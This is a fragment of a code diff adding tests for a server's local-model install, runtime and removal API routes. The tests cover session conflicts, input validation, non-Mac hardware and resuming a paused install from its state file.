await app.inject({ + method: 'POST', + url: '/api/local-model/runtime', + ...(payload ? { payload } : {}), + }); + expect(res.statusCode).toBe(400); + expect(f.service.runtime).not.toHaveBeenCalled(); + }); + }); + + describe('DELETE /api/local-model', () => { + const SESSIONS: SessionLike[] = [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + { name: 'w4-lib', customModel: { endpointId: 'local-ollama' } }, + ]; + + it('hands the service the names of the live sessions on the model, and who asked', async () => { + const f = fakes(); + const { app } = await harness(f.deps, undefined, SESSIONS); + await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }); + expect(f.service.remove).toHaveBeenCalledWith({ removeModel: true }, ['w1-app', 'w4-lib'], { + username: 'admin', + ip: '127.0.0.1', + }); + }); + + it('without a live session on the model the list is empty, and no body means the model stays', async () => { + const f = fakes(); + const { app } = await harness(f.deps, undefined, [SESSIONS[1], SESSIONS[2]]); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(res.statusCode).toBe(200); + expect(f.service.remove.mock.calls[0][0]).toEqual({}); + expect(f.service.remove.mock.calls[0][1]).toEqual([]); + }); + + it('the sessions are read at the moment of the request, not when the routes were registered', async () => { + const f = fakes(); + const sessions = new Map(); + const { app } = await createRouteTestHarness((instance) => + registerLocalModelRoutes(instance, { sessions }, f.deps) + ); + await app.inject({ method: 'DELETE', url: '/api/local-model' }); + sessions.set('late', { name: 'w9-late', customModel: { endpointId: 'local-ollama' } }); + await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(f.service.remove.mock.calls.map((args) => args[1])).toEqual([[], ['w9-late']]); + }); + + it('while a live session uses the model: 409 with the session names', async () => { + const f = fakes(); + f.service.remove.mockImplementation(async (_request, names) => ({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } }, + sessions: [...names], + }, + })); + const { app } = await harness(f.deps, undefined, SESSIONS); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'Sessions are still using this model: w1-app, w4-lib. Close them first.', + errorCode: 'CONFLICT', + data: { + reason: 'sessions-open', + message: { + text: 'Sessions are still using this model: {sessions}. Close them first.', + vars: { sessions: 'w1-app, w4-lib' }, + }, + sessions: ['w1-app', 'w4-lib'], + }, + }); + }); + + it('refuses a body it does not know', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { path: '/' } }); + expect(res.statusCode).toBe(400); + expect(f.service.remove).not.toHaveBeenCalled(); + }); + }); +}); + +describe('the routes over the real install service', () => { + const STATE = () => dataPath('local-model.json'); + + afterEach(() => { + rmSync(STATE(), { force: true }); + }); + + /** The real service with the real state file. Only the hardware is the test's: a server that is not a Mac. */ + function realService(): LocalModelService { + return createLocalModelService({ readHardware: async () => LINUX }); + } + + it('on a server that is not a Mac nothing can be installed: the install is a 400 and nothing is written', async () => { + const service = realService(); + const { app } = await harness({ readHardware: async () => LINUX, service: () => service }); + const res = await app.inject({ + method: 'POST', + url: '/api/local-model/install', + payload: { modelId: 'qwen3.6:35b-a3b', cli: 'opencode', context: 131072, acknowledgedBytes: 1 }, + }); + expect(res.statusCode).toBe(400); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' }); + expect(existsSync(STATE())).toBe(false); + const get = await app.inject({ method: 'GET', url: '/api/local-model' }); + expect(get.json().data.install).toMatchObject({ state: 'idle', actions: ['install'] }); + expect(get.json().data.recommendation).toMatchObject({ verdict: 'none', reason: 'not-macos' }); + }); + + it('with nothing installed: cancel, resume and a runtime action are 409 wrong-state', async () => { + const service = realService(); + const { app } = await harness({ service: () => service }); + for (const [url, payload] of [ + ['/api/local-model/cancel', undefined], + ['/api/local-model/resume', {}], + ['/api/local-model/runtime', { action: 'start' }], + ] as const) { + const res = await app.inject({ method: 'POST', url, ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ + success: false, + errorCode: 'CONFLICT', + error: 'That is not possible in the current state.', + data: { reason: 'wrong-state' }, + }); + } + expect(existsSync(STATE())).toBe(false); + }); + + it('a job the state file still calls installing comes back paused on the first GET of a new server', async () => { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installing', + step: 'model', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + progress: { completedBytes: 6200000000, totalBytes: 23105798956 }, + }) + ); + const service = realService(); + const { app } = await harness({ readHardware: async () => LINUX, service: () => service }); + const res = await app.inject({ method: 'GET', url: '/api/local-model' }); + expect(res.json().data.install).toMatchObject({ + state: 'paused', + step: 'model', + running: false, + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + port: 11435, + progress: { completedBytes: 6200000000, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' }, + actions: ['resume', 'install', 'remove'], + }); + expect(JSON.parse(readFileSync(STATE(), 'utf8')).state).toBe('paused'); + // A second install while that job is only paused is refused for what it asks, not started. + const cancel = await app.inject({ method: 'POST', url: '/api/local-model/cancel' }); + expect(cancel.statusCode).toBe(409); + }); +});